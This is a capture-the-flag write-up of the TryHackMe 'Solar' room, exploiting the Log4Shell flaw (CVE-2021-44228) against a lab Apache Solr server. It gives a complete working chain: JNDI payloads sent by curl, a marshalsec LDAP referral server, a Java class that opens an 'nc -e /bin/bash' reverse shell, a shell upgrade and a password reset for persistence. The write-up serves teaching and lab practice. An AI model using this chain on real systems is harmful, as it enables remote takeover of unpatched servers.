Solar, exploiting log4j

Explore CVE-2021-44228, a vulnerability in log4j affecting almost all software under the sun. https://tryhackme.com/room/solar

Background

On December 9th, 2021, the world was made aware of a new vulnerability identified as CVE-2021-44228, affecting the Java logging package log4j. This vulnerability earned a severity score of 10.0 (the most critical designation) and offers remote code trivial remote code execution on hosts engaging with software that utilizes this log4j version. This attack has been dubbed "Log4Shell"

Today, log4j version 2.16.0 is available and patches this vulnerability (JNDI is fully disabled, support for Message Lookups is removed, and the new DoS vulnerability CVE-2021-45046 is not present). https://github.com/apache/logging-log4j2/releases/tag/rel%2F2.16.0

However, the sheer danger of this vulnerability is due to how ubiquitous the logging package is. Millions of applications as well as software providers use this package as a dependency in their own code. While you may be able to patch your own codebase using log4j, other vendors and manufacturers will still need to push their own security updates downstream. Many security researchers have likened this vulnerability to that of Shellshock by the nature of its enormous attack surface. We will see this vulnerability for years to come.\

For a growing community-supported list of software and services vulnerable to CVE-2021-44228, check out this GitHub repository:

This room will showcase how you can test for, exploit, and mitigate this vulnerability within Log4j.

While there are a number of other articles, blogs, resources and learning material surrounding CVE-2021-44228, I (the author of this exercise) am particularly partial to these:

Reconnaissance

Running RustScan we get the following results:

root@ip-10-10-20-17:~# rustscan -a 10.10.158.27
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
\U0001f635 https://admin.tryhackme.com

[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] File limit higher than batch size. Can increase speed by increasing batch size '-b 1048476'.
Open 10.10.158.27:22
Open 10.10.158.27:111
Open 10.10.158.27:8983
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")

[~] Starting Nmap 7.80 ( https://nmap.org ) at 2022-04-07 00:47 UTC
Initiating Ping Scan at 00:47
Scanning 10.10.158.27 [2 ports]
Completed Ping Scan at 00:47, 0.00s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 00:47
Completed Parallel DNS resolution of 1 host. at 00:47, 0.02s elapsed
DNS resolution of 1 IPs took 0.03s. Mode: Async [#: 1, OK: 1, NX: 0, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 00:47
Scanning ip-10-10-158-27.eu-west-1.compute.internal (10.10.158.27) [3 ports]
Discovered open port 22/tcp on 10.10.158.27
Discovered open port 111/tcp on 10.10.158.27
Discovered open port 8983/tcp on 10.10.158.27
Completed Connect Scan at 00:47, 0.00s elapsed (3 total ports)
Nmap scan report for ip-10-10-158-27.eu-west-1.compute.internal (10.10.158.27)
Host is up, received conn-refused (0.00051s latency).
Scanned at 2022-04-07 00:47:21 UTC for 0s

PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack
111/tcp  open  rpcbind syn-ack
8983/tcp open  unknown syn-ack

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.24 secondshc

We see on port 8983 that the service is unknown

Lets run nmap -sC -sV -p 8983 10.10.158.27 and see what service we are dealing with

  • -sC - default scripts

  • -sV - enumerate versions

  • -p 8983 - the port we want to scan

root@ip-10-10-20-17:~# nmap -sC -sV -p 8983 10.10.158.27

Starting Nmap 7.60 ( https://nmap.org ) at 2022-04-07 01:50 BST
Nmap scan report for ip-10-10-158-27.eu-west-1.compute.internal (10.10.158.27)
Host is up (0.00020s latency).

PORT     STATE SERVICE VERSION
8983/tcp open  http    Apache Solr
| http-title: Solr Admin
|_Requested resource was http://ip-10-10-158-27.eu-west-1.compute.internal:8983/solr/
MAC Address: 02:6A:F7:6F:7E:6D (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.25 seconds

This target machine is running Apache Solr

Looking at the site we also see the version is 8.11.0 which is known to include the vulnerable log4j package.

Logs

Given this example log file we can gather a bit more information on how this exploit works

solr.log
2021-12-13 03:43:30.399 INFO  (main) [   ] o.e.j.u.log Logging initialized @1872ms to org.eclipse.jetty.util.log.Slf4jLog
2021-12-13 03:43:30.826 INFO  (main) [   ] o.e.j.s.Server jetty-9.4.44.v20210927; built: 2021-09-27T23:02:44.612Z; git: 8da83308eeca865e495e53ef315a249d63ba9332; jvm 1.8.0_181-b13
2021-12-13 03:43:30.851 INFO  (main) [   ] o.e.j.d.p.ScanningAppProvider Deployment monitor [file:///opt/solr-8.11.0/server/contexts/] at interval 0
2021-12-13 03:43:31.360 INFO  (main) [   ] o.e.j.w.StandardDescriptorProcessor NO JSP Support for /solr, did not find org.apache.jasper.servlet.JspServlet
2021-12-13 03:43:31.393 INFO  (main) [   ] o.e.j.s.session DefaultSessionIdManager workerName=node0
2021-12-13 03:43:31.394 INFO  (main) [   ] o.e.j.s.session No SessionScavenger set, using defaults
2021-12-13 03:43:31.397 INFO  (main) [   ] o.e.j.s.session node0 Scavenging every 660000ms
2021-12-13 03:43:31.635 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter Using logger factory org.apache.logging.slf4j.Log4jLoggerFactory
2021-12-13 03:43:31.642 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter  ___      _       Welcome to Apache Solr™ version 8.11.0
2021-12-13 03:43:31.642 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter / __| ___| |_ _   Starting in standalone mode on port 8983
2021-12-13 03:43:31.643 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter \__ \/ _ \ | '_|  Install dir: /opt/solr
2021-12-13 03:43:31.644 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter |___/\___/_|_|    Start time: 2021-12-13T03:43:31.644Z
2021-12-13 03:43:31.664 INFO  (main) [   ] o.a.s.c.SolrPaths Using system property solr.solr.home: /var/solr/data
2021-12-13 03:43:31.665 INFO  (main) [   ] o.a.s.c.SolrXmlConfig Loading container configuration from /var/solr/data/solr.xml
2021-12-13 03:43:32.003 INFO  (main) [   ] o.a.s.c.SolrXmlConfig MBean server found: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc, but no JMX reporters were configured - adding default JMX reporter.
2021-12-13 03:43:33.221 INFO  (main) [   ] o.a.s.h.c.HttpShardHandlerFactory Host whitelist initialized: WhitelistHostChecker [whitelistHosts=null, whitelistHostCheckingEnabled=true]
2021-12-13 03:43:33.733 WARN  (main) [   ] o.e.j.u.s.S.config Trusting all certificates configured for Client@25ddbbbb[provider=null,keyStore=null,trustStore=null]
2021-12-13 03:43:33.741 WARN  (main) [   ] o.e.j.u.s.S.config No Client EndPointIdentificationAlgorithm configured for Client@25ddbbbb[provider=null,keyStore=null,trustStore=null]
2021-12-13 03:43:34.241 WARN  (main) [   ] o.e.j.u.s.S.config Trusting all certificates configured for Client@69f63d95[provider=null,keyStore=null,trustStore=null]
2021-12-13 03:43:34.241 WARN  (main) [   ] o.e.j.u.s.S.config No Client EndPointIdentificationAlgorithm configured for Client@69f63d95[provider=null,keyStore=null,trustStore=null]
2021-12-13 03:43:34.369 WARN  (main) [   ] o.a.s.c.CoreContainer Not all security plugins configured!  authentication=disabled authorization=disabled.  Solr is only as secure as you make it. Consider configuring authentication/authorization before exposing Solr to users internal or external.  See https://s.apache.org/solrsecurity for more info
2021-12-13 03:43:34.741 INFO  (main) [   ] o.a.s.c.TransientSolrCoreCacheDefault Allocating transient core cache for max 2147483647 cores with initial capacity of 1024
2021-12-13 03:43:34.769 INFO  (main) [   ] o.a.s.h.a.MetricsHistoryHandler No .system collection, keeping metrics history in memory.
2021-12-13 03:43:34.939 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.node' (registry 'solr.node') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2021-12-13 03:43:34.944 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jvm' (registry 'solr.jvm') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2021-12-13 03:43:34.956 INFO  (main) [   ] o.a.s.m.r.SolrJmxReporter JMX monitoring for 'solr.jetty' (registry 'solr.jetty') enabled at server: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc
2021-12-13 03:43:35.030 INFO  (main) [   ] o.a.s.c.CorePropertiesLocator Found 0 core definitions underneath /var/solr/data
2021-12-13 03:43:35.121 INFO  (main) [   ] o.e.j.s.h.ContextHandler Started o.e.j.w.WebAppContext@5e2c3d18{/solr,file:///opt/solr-8.11.0/server/solr-webapp/webapp/,AVAILABLE}{/opt/solr-8.11.0/server/solr-webapp/webapp}
2021-12-13 03:43:35.169 INFO  (main) [   ] o.e.j.s.AbstractConnector Started ServerConnector@2fb3536e{HTTP/1.1, (http/1.1, h2c)}{0.0.0.0:8983}
2021-12-13 03:43:35.169 INFO  (main) [   ] o.e.j.s.Server Started @6644ms
2021-12-13 03:44:58.415 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=80
2021-12-13 03:47:53.989 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:54.819 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:55.284 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:55.682 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:56.075 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:56.459 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:56.844 INFO  (qtp1083962448-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:57.253 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:57.548 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:57.758 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:58.058 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=1
2021-12-13 03:47:58.346 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:58.616 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:58.892 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:59.159 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=4
2021-12-13 03:47:59.443 INFO  (qtp1083962448-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:59.718 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:47:59.997 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:00.261 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:00.539 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:00.803 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:01.084 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:01.351 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:39.770 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:40.161 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:40.627 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:41.075 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:41.489 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:41.915 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:42.363 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:42.778 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:43.339 INFO  (qtp1083962448-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:43.872 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:44.334 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:44.930 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:45.456 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=1
2021-12-13 03:48:45.917 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:46.389 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:46.863 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:47.322 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=1
2021-12-13 03:48:47.791 INFO  (qtp1083962448-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:48.229 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:48.728 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=1
2021-12-13 03:48:49.199 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:49.734 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:50.208 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:50.702 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:51.157 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=6
2021-12-13 03:48:51.624 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:52.161 INFO  (qtp1083962448-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:52.576 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:52.975 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:53.988 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=1
2021-12-13 03:48:54.383 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:54.801 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 03:48:55.144 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:46.718 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:48.672 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:49.304 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:50.401 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={id=1337} status=0 QTime=0
2021-12-13 04:01:53.944 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:54.988 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=2
2021-12-13 04:01:55.222 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:55.437 INFO  (qtp1083962448-14) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:55.764 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:55.949 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:56.184 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:56.384 INFO  (qtp1083962448-16) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:56.607 INFO  (qtp1083962448-19) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:56.814 INFO  (qtp1083962448-21) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:56.997 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:57.232 INFO  (qtp1083962448-20) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:57.430 INFO  (qtp1083962448-17) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:57.681 INFO  (qtp1083962448-22) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:57.896 INFO  (qtp1083962448-18) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:58.106 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0
2021-12-13 04:01:58.351 INFO  (qtp1083962448-23) [   ] o.a.s.s.HttpSolrCall [admin] webapp=null path=/admin/cores params={} status=0 QTime=0

We can see there are a lot of INFO log entries with the path of /admin/cores

We can also see that the params field in the log entries should be user controlable

Proof of Concept

The log4j package adds extra logic to logs by "parsing" entries, ultimately to enrich the data -- but may additionally take actions and even evaluate code based off the entry data. This is the gist of CVE-2021-44228. Other syntax might be in fact executed just as it is entered into log files.

Some examples of this syntax are:

  • ${sys:os.name}

  • ${sys:user.name}

  • ${log4j:configParentLocation}

  • ${ENV:PATH}

  • ${ENV:HOSTNAME}

  • ${java:version}

We already know the general payload to abuse this log4j vulnerability. The format of the usual syntax that takes advantage of this looks like so: ${jndi:ldap://ATTACKERCONTROLLEDHOST}

This syntax indicates that the log4j will invoke functionality from "JNDI", or the "Java Naming and Directory Interface." Ultimately, this can be used to access external resources, or "references," which is what is weaponized in this attack.

Notice the ldap:// schema. This indicates that the target will reach out to an endpoint (an attacker controlled location, in the case of this attack) via the LDAP protocol. For the sake of brevity, we will not need to cover all the ins-and-outs and details of LDAP here, but know that this is something we will need to work with as we refine our attack.

We can simply supply HTTP GET variables or parameters which will be processed and parsed by log4j.

Other locations you might supply this JNDI syntax:

  • Input boxes, user and password login forms, data entry points within applications

  • HTTP headers such as User-Agent, X-Forwarded-For, or other customizable headers

  • Any place for user-supplied data

For now we are going to start up a netcat listner

Then run this curl command

curl 'http://10.10.158.27:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.20.17:9001\}'

And we see a call back to our netcat listener!

Exploitation

At this point, we have verified the target is in fact vulnerable by seeing this connection caught in your netcat listener. However, it made an LDAP request... so all our netcat listener saw was non-printable characters (strange looking bytes). We can now build upon this foundation to respond with a real LDAP handler.

We will utilize a open-source and public utility to stage an "LDAP Referral Server". This will be used to essentially redirect the initial request of the victim to another location, where you can host a secondary payload that will ultimately run code on the target. This breaks down like so:

  1. ${jndi:ldap://attackerserver:1389/Resource} -> reaches out to our LDAP Referral Server

  2. LDAP Referral Server springboards the request to a secondary http://attackerserver/resource

  3. The victim retrieves and executes the code present in http://attackerserver/resource

This means we will need an HTTP server, which we could simply host with any of the following options (serving on port 8000):

  • python3 -m http.server

  • php -S 0.0.0.0:8000

  • (or any other busybox httpd or formal web service you might like)

The first order of business is obtaining the LDAP Referral Server. We will use the marshalsec utility offered at https://github.com/mbechler/marshalsec

Ultimately, this needs to run Java. Reviewing the README for this utility, it suggests using Java 8. (You may or may not have success using a different version, but to "play by the rules," we will match the same version of Java used on the target virtual machine)

With marshalsec built, we can start an LDAP referral server to direct connections to our secondary HTTP server

Note: The port for this will be the web server and not the netcat port we are listening on

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://10.10.20.17:8000/#Exploit"

We now need to create the exploit payload

Note: This port we are using will be the netcat listener port we are waiting for a connecttion on

Exploit.java
public class Exploit {
    static {
        try {
            java.lang.Runtime.getRuntime().exec("nc -e /bin/bash 10.10.20.17 9001");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

We also need to compile it with javac Exploit.java -source 8 -target 8 and we shoulld get Exploit.class

Now we need to serve this class file with python3 -m http.server. I also moved this class file into another directory to keep it seperate from the java file.

Next we need to set up a netcat listener

Finally, all that is left to do is trigger the exploit and fire off our JNDI syntax! Note the changes in port number (now referring to our LDAP server) and the resource we retrieve, specifying our exploit:

curl 'http://10.10.158.27:8983/solr/admin/cores?foo=$\{jndi:ldap://10.10.20.17:1389/Exploit\}'

Time to upgrade our shell, you can follow these steps:

  1. (on the reverse shell) python3 -c "import pty; pty.spawn('/bin/bash')"

  2. (press on your keyboard) Ctrl+Z

  3. (press on your keyboard) Enter

  4. (on your local host) stty raw -echo

  5. (on your local host) fg (you will not see your keystrokes -- trust yourself and hit Enter)

  6. (press on your keyboard) Enter

  7. (press on your keyboard) Enter

  8. (on the reverse shell) export TERM=xterm

Shell is now upgraded!

Time to see what permissions we have, I first started with sudo -l

Lets set a nice password so we can ssh back in if needed. I like ssh connections more than reverse shells anyway. Here I just set the password for solr to solr

Detection

Unfortunately, finding applications vulnerable to CVE-2021-44228 "Log4Shell" is hard.

Detecting exploitation might be even harder, considering the unlimited amount of potential bypasses.

With that said, the information security community has seen an incredible outpouring of effort and support to develop tooling, script, and code to better constrain this threat. While this room won't showcase every technique in detail, you can again find an enormous amount of resources online.

Below are snippets that might help either effort:

A massive resource is available here: https://www.reddit.com/r/sysadmin/comments/reqc6f/log4j_0day_being_exploited_mega_thread_overview

Viewing the solr.log from this exercise we can see exactly how our attack worked

/var/solr/logs/solr.log
2022-04-07 00:44:43.942 INFO  (main) [   ] o.e.j.u.log Logging initialized @37759ms to org.eclipse.jetty.util.log.Slf4jLog
2022-04-07 00:44:50.753 INFO  (main) [   ] o.e.j.s.Server jetty-9.4.44.v20210927; built: 2021-09-27T23:02:44.612Z; git: 8da83308eeca865e495e53ef315a249d63ba9332; jvm 1.8.0_181-b13
2022-04-07 00:44:51.352 INFO  (main) [   ] o.e.j.d.p.ScanningAppProvider Deployment monitor [file:///opt/solr-8.11.0/server/contexts/] at interval 0
2022-04-07 00:45:03.604 INFO  (main) [   ] o.e.j.w.StandardDescriptorProcessor NO JSP Support for /solr, did not find org.apache.jasper.servlet.JspServlet
2022-04-07 00:45:03.847 INFO  (main) [   ] o.e.j.s.session DefaultSessionIdManager workerName=node0
2022-04-07 00:45:03.884 INFO  (main) [   ] o.e.j.s.session No SessionScavenger set, using defaults
2022-04-07 00:45:03.927 INFO  (main) [   ] o.e.j.s.session node0 Scavenging every 660000ms
2022-04-07 00:45:07.039 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter Using logger factory org.apache.logging.slf4j.Log4jLoggerFactory
2022-04-07 00:45:07.280 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter  ___      _       Welcome to Apache Solr\u2122 version 8.11.0
2022-04-07 00:45:07.318 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter / __| ___| |_ _   Starting in standalone mode on port 8983
2022-04-07 00:45:07.319 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter \__ \/ _ \ | '_|  Install dir: /opt/solr
2022-04-07 00:45:07.320 INFO  (main) [   ] o.a.s.s.SolrDispatchFilter |___/\___/_|_|    Start time: 2022-04-07T00:45:07.320Z
2022-04-07 00:45:07.761 INFO  (main) [   ] o.a.s.c.SolrPaths Using system property solr.solr.home: /var/solr/data
2022-04-07 00:45:07.762 INFO  (main) [   ] o.a.s.c.SolrXmlConfig Loading container configuration from /var/solr/data/solr.xml
2022-04-07 00:45:09.063 INFO  (main) [   ] o.a.s.c.SolrXmlConfig MBean server found: com.sun.jmx.mbeanserver.JmxMBeanServer@7adda9cc, but no JMX reporters were configured - adding default JMX reporter.
2022-04-07 00:45:10.996 INFO  (main) [   ] o.a.s.h.c.HttpShardHandlerFactory Host whitelist initialized: WhitelistHostChecker [whitelistHosts=null, whitelistHostCheckingEnabled=true]
2022-04-07 00:45:12.261 WARN  (main) [   ] o.e.j.u.s.S.config Trusting all certificates configured for Client@25ddbbbb[provider=null,keyStore=null,trustStore=null]
2022-04-07 00:45:12.261 WARN  (main) [   ] o.e.j.u.s.S.config No Client EndPointIdentificationAlgorithm configured for Client@25ddbbbb[provider=null,keyStore=null,trustStore=null]
2022-04-07 00:45:12.528 WARN  (main) [   ] o.e.j.u.s.S.config Trusting all certificates configured for Client@69f63d95[provider=null,keyStore=null,trustStore=null]
2022-04-07 00:45:12.528 WARN  (main) [   ] o.e.j.u.s.S.config No Client EndPointIdentificationAlgorithm configured for Client@69f63d95[provider=null,keyStore=null,trustStore=null]
2022-04-07 00:45:13.201 WARN  (main) [   ] o.a.s.c.CoreContainer Not all security plugins configured!  authentication=disabled authorization=disabled.  Solr is only as secure as you make it. Consider configuring authentication/authorization before exposing Solr to users internal or external.  See https://s.apache.org/solrsecurity for more info
2022-04-07 00:45:13.754 INFO  (main) [   ] o.a.s.c.TransientSolrCoreCacheDefault Allocating transient core cache for max 2147483647 cores with initial capacity of 1024
2022-04-07 00:45:13.778 INFO  (main) [   ] o.a.s.h.a.MetricsHistoryHandler No .system collection, keeping metrics history in memory.
